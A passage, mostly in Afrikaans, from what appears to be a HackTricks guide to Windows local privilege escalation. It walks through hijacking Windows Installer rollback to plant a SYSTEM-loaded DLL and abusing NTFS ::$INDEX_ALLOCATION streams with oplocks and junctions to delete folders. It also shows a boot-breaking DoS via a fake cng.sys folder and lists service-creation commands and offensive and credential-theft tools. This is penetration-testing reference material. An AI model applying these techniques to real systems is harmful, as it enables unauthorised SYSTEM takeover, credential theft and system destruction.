  • Windows Installer faal om die .rbf te verwyder, en omdat dit nie al die inhoud kan verwyder nie, word C:\Config.Msi nie verwyder nie.

  • Stap 5: Verwyder .rbf handmatig

  • Jy (aanvaller) verwyder die .rbf-lĂȘer handmatig.

  • Nou is C:\Config.Msi leeg, gereed om gekaap te word.

Op hierdie punt, aktiveer die SYSTEM-vlak arbitrary folder delete-kwetsbaarheid om C:\Config.Msi te verwyder.

  1. Fase 2 – Rollback-skripte vervang met kwaadwillige
  • Stap 6: Rekonstrueer C:\Config.Msi met swakke ACLs

  • Herstel die C:\Config.Msi gids self.

  • Stel swakke DACLs in (bv. Everyone:F), en hou ’n handle oop met WRITE_DAC.

  • Stap 7: Voer nog ’n installasie uit

  • Installeer die .msi weer, met:

  • TARGETDIR: Skryfbare ligging.

  • ERROROUT: ’n veranderlike wat ’n geforseerde mislukking aktiveer.

  • Hierdie installasie sal gebruik word om weer rollback te trigger, wat .rbs en .rbf lees.

  • Stap 8: Monitor vir .rbs

  • Gebruik ReadDirectoryChangesW om C:\Config.Msi te monitor totdat ’n nuwe .rbs verskyn.

  • Vang die lĂȘernaam op.

  • Stap 9: Sinchroniseer voor rollback

  • Die .msi sluit ’n aangepaste installasie-aksie (SyncBeforeRollback) in wat:

  • Sein ’n gebeurtenis wanneer die .rbs geskep word.

  • Wag dan voordat dit voortgaan.

  • Stap 10: Herstel swakke ACLs

  • Nadat die .rbs created sein ontvang is:

  • Die Windows Installer herskryf sterk ACLs na C:\Config.Msi.

  • Maar aangesien jy steeds ’n handle met WRITE_DAC het, kan jy weer swakke ACLs toepas.

ACLs word slegs by die opening van ’n handle afgedwing, dus kan jy steeds na die gids skryf.

  • Stap 11: Plaas valse .rbs en .rbf

  • Oorskryf die .rbs-lĂȘer met ’n valse rollback-skrip wat Windows vertel om:

  • Herstel jou .rbf-lĂȘer (kwaadwillige DLL) na ’n geprivilegieerde ligging (bv. C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Skryf jou valse .rbf neer wat ’n kwaadwillige SYSTEM-vlak payload DLL bevat.

  • Stap 12: Trigger die rollback

  • Sein die sinchroniseringsgebeurtenis sodat die installeerder hervat.

  • ’n type 19 custom action (ErrorOut) is gekonfigureer om die installasie op ’n doelbewuste wyse te laat misluk op ’n bekende punt.

  • Dit veroorsaak dat rollback begin.

  • Stap 13: SYSTEM installeer jou DLL

  • Windows Installer:

  • Lees jou kwaadwillige .rbs.

  • Kopieer jou .rbf DLL na die teiken-ligging.

  • Jy het nou jou kwaadwillige DLL in ’n SYSTEM-gelaaide pad.

  • Finale stap: Voer SYSTEM-kode uit

  • Voer ’n vertroude auto-elevated binary uit (bv. osk.exe) wat die DLL laai wat jy gekaap het.

  • Boom: Jou kode word uitgevoer as SYSTEM.

Van Willekeurige lĂȘer verwyder/verplaas/hernoem na SYSTEM EoP

Die hoof MSI rollback-tegniek (hierbo) veronderstel dat jy ’n hele gids kan verwyder (bv. C:\Config.Msi). Maar wat as jou kwesbaarheid slegs arbitrary file deletion toelaat?

Jy kan NTFS internals misbruik: elke gids het ’n versteekte alternate data stream genaamd:

C:\SomeFolder::$INDEX_ALLOCATION

Hierdie stroom stoor die indeksmetadata van die gids.

Dus, as jy die ::$INDEX_ALLOCATION stroom verwyder van ’n gids, verwyder NTFS die hele gids uit die lĂȘerstelsel.

Jy kan dit doen met standaard lĂȘerverwyderings-APIs soos:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Alhoewel jy ’n file delete API aanroep, verwyder dit die folder self.

Van Folder Contents Delete na SYSTEM EoP

Wat as jou primitive jou nie toelaat om arbitrĂȘre files/folders te verwyder nie, maar dit laat wel die verwydering van die contents van ’n aanvaller-beheerde folder toe?

  1. Stap 1: Stel ’n lok folder en file op
  • Skep: C:\temp\folder1
  • Binne dit: C:\temp\folder1\file1.txt
  1. Stap 2: Plaas ’n oplock op file1.txt
  • Die oplock pauzeer uitvoering wanneer ’n geprivilegieerde proses probeer om file1.txt te verwyder.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Stap 3: Aktiveer die SYSTEM-proses (bv. SilentCleanup)
  • Hierdie proses skandeer gidse (bv. %TEMP%) en probeer hul inhoud verwyder.
  • Wanneer dit by file1.txt uitkom, word die oplock geaktiveer en gee dit beheer aan jou callback.
  1. Stap 4: Binne die oplock callback – herlei die verwydering
  • Opsie A: Verskuif file1.txt na ’n ander plek

  • Dit maak folder1 leeg sonder om die oplock te breek.

  • Moet nie file1.txt direk verwyder nie — dit sou die oplock voortydig vrylaat.

  • Opsie B: Skakel folder1 om in ’n junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opsie C: Skep ’n symlink in \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Dit mik op die NTFS interne stroom wat gidsmetadata stoor — deur dit te verwyder verwyder jy die gids.

  1. Stap 5: Laat die oplock los
  • SYSTEM-proses gaan voort en probeer om file1.txt uit te vee.
  • Maar nou, weens die junction + symlink, verwyder dit eintlik:
C:\Config.Msi::$INDEX_ALLOCATION

Resultaat: C:\Config.Msi word deur SYSTEM verwyder.

Van Arbitraire Gids-Skep na Permanente DoS

Benut ’n primitief wat jou toelaat om ’n ewekansige gids as SYSTEM/admin te skep — selfs al kan jy nie lĂȘers skryf of swak permissies stel.

Skep ’n gids (nie ’n lĂȘer nie) met die naam van ’n kritieke Windows driver, bv.:

C:\Windows\System32\cng.sys
  • Hierdie pad stem gewoonlik ooreen met die cng.sys kernel-mode driver.
  • As jy dit voorskep as ‘n gids’, misluk Windows om die werklike driver tydens opstart te laai.
  • Dan probeer Windows cng.sys tydens opstart laai.
  • Dit sien die gids, luk dit nie om die werklike driver op te los nie, en stort die stelsel neer of stop die opstart.
  • Daar is geen alternatiewe en geen herstel sonder eksterne ingryping (bv. opstartherstel of skyftoegang).

Van High Integrity na System

Nuwe diens

As jy reeds in ’n High Integrity-proses loop, kan die pad na SYSTEM maklik wees deur net ’n nuwe diens te skep en uit te voer:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Wanneer jy ’n service-binary skep, maak seker dit is ’n geldige service of dat die binary die nodige aksies uitvoer om aan te bly, aangesien dit binne 20s gedood sal word as dit nie ’n geldige service is nie.

AlwaysInstallElevated

Vanaf ’n High Integrity-proses kan jy probeer om die AlwaysInstallElevated registrieinskrywings te aktiveer en ’n reverse shell te installeer met ’n .msi wrapper.
Meer inligting oor die registrie-sleutels wat betrokke is en hoe om ’n .msi pakket te installeer, hier.

High + SeImpersonate privilege to System

Jy kan vind die kode hier.

From SeDebug + SeImpersonate to Full Token privileges

As jy daardie token privileges het (waarskynlik sal jy dit in ’n reeds High Integrity-proses vind), sal jy in staat wees om byna enige proses oop te maak (nie-beskermde prosesse) met die SeDebug privilege, die token van die proses te kopieer, en ’n arbitrĂȘre proses met daardie token te skep.
Hierdie tegniek kies gewoonlik ’n proses wat as SYSTEM loop met al die token privileges (ja, jy kan SYSTEM-prosesse vind sonder al die token privileges).
Jy kan ’n voorbeeld van kode wat die voorgestelde tegniek uitvoer hier vind.

Named Pipes

Hierdie tegniek word deur meterpreter gebruik om in getsystem te eskaleer. Die tegniek behels die skep van ’n pipe en dan die skep/misbruik van ’n service om op daardie pipe te skryf. Dan sal die server wat die pipe geskep het met die SeImpersonate privilege in staat wees om die token van die pipe-kliĂ«nt (die service) te impersonate en SYSTEM-privileges te verkry.
As jy meer wil leer oor name pipes, moet jy hier lees.
As jy ’n voorbeeld wil sien van hoe om van high integrity na System te gaan met name pipes, lees dit hier.

Dll Hijacking

As jy daarin slaag om ’n dll te hijack wat deur ’n proses wat as SYSTEM loop gelaai word, sal jy arbitrĂȘre kode met daardie permissies kan uitvoer. Dll Hijacking is dus ook nuttig vir hierdie tipe privilege escalation, en verder is dit baie makliker om vanaf ’n high integrity-proses te bereik aangesien dit write permissions op die gidse het wat vir die laai van dll’s gebruik word.
Jy kan meer leer oor Dll hijacking hier.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Lees: https://github.com/itm4n/FullPowers

Meer hulp

Static impacket binaries

Nuttige gereedskap

Beste hulpmiddel om Windows local privilege escalation-vektore te soek: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Kontroleer vir wankonfigurasies en sensitiewe lĂȘers (kyk hier). Gedetekteer.
JAWS – Kontroleer vir moontlike wankonfigurasies en versamel inligting (kyk hier).
privesc – Kontroleer vir wankonfigurasies
SessionGopher – Dit onttrek PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoor sessie-inligting. Gebruik -Thorough lokaal.
Invoke-WCMDump – Haal credentials uit Credential Manager. Gedetekteer.
DomainPasswordSpray – Spray versamelde wagwoorde oor die domain
Inveigh – Inveigh is ’n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle instrument.
WindowsEnum – Basiese privesc Windows enumerasie
Sherlock ~~~~ – Soek na bekende privesc kwesbaarhede (DEPRECATED for Watson)
WINspect – Lokale kontroles (Need Admin rights)

Exe

Watson – Soek na bekende privesc kwesbaarhede (moet saamgestel word met VisualStudio) (precompiled)
SeatBelt – Enumereer die gasheer en soek na wankonfigurasies (meer ’n inligting-insamelingshulpmiddel as privesc) (moet saamgestel word) (precompiled)
LaZagne – Haal credentials uit baie sagteware (precompiled exe in github)
SharpUP – Port van PowerUp na C#
Beroot ~~~~ – Kontroleer vir wankonfigurasies (uitvoerbare lĂȘer precompiled in github). Nie aanbeveel nie. Werk nie goed in Win10 nie.
Windows-Privesc-Check – Kontroleer vir moontlike wankonfigurasies (exe vanaf python). Nie aanbeveel nie. Werk nie goed in Win10 nie.

Bat

winPEASbat – Hulpmiddel gebaseer op hierdie pos (dit benodig nie accesschk om behoorlik te werk nie, maar dit kan dit gebruik).

Local

Windows-Exploit-Suggester – Lees die output van systeminfo en beveel werkende exploits aan (lokale python)
Windows Exploit Suggester Next Generation – Lees die output van systeminfo en beveel werkende exploits aan (lokale python)

Meterpreter

multi/recon/local_exploit_suggestor

Jy moet die projek kompileer met die korrekte weergawe van .NET (sien hierdie). Om die geĂŻnstalleerde weergawe van .NET op die slagoffer-host te sien kan jy doen:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks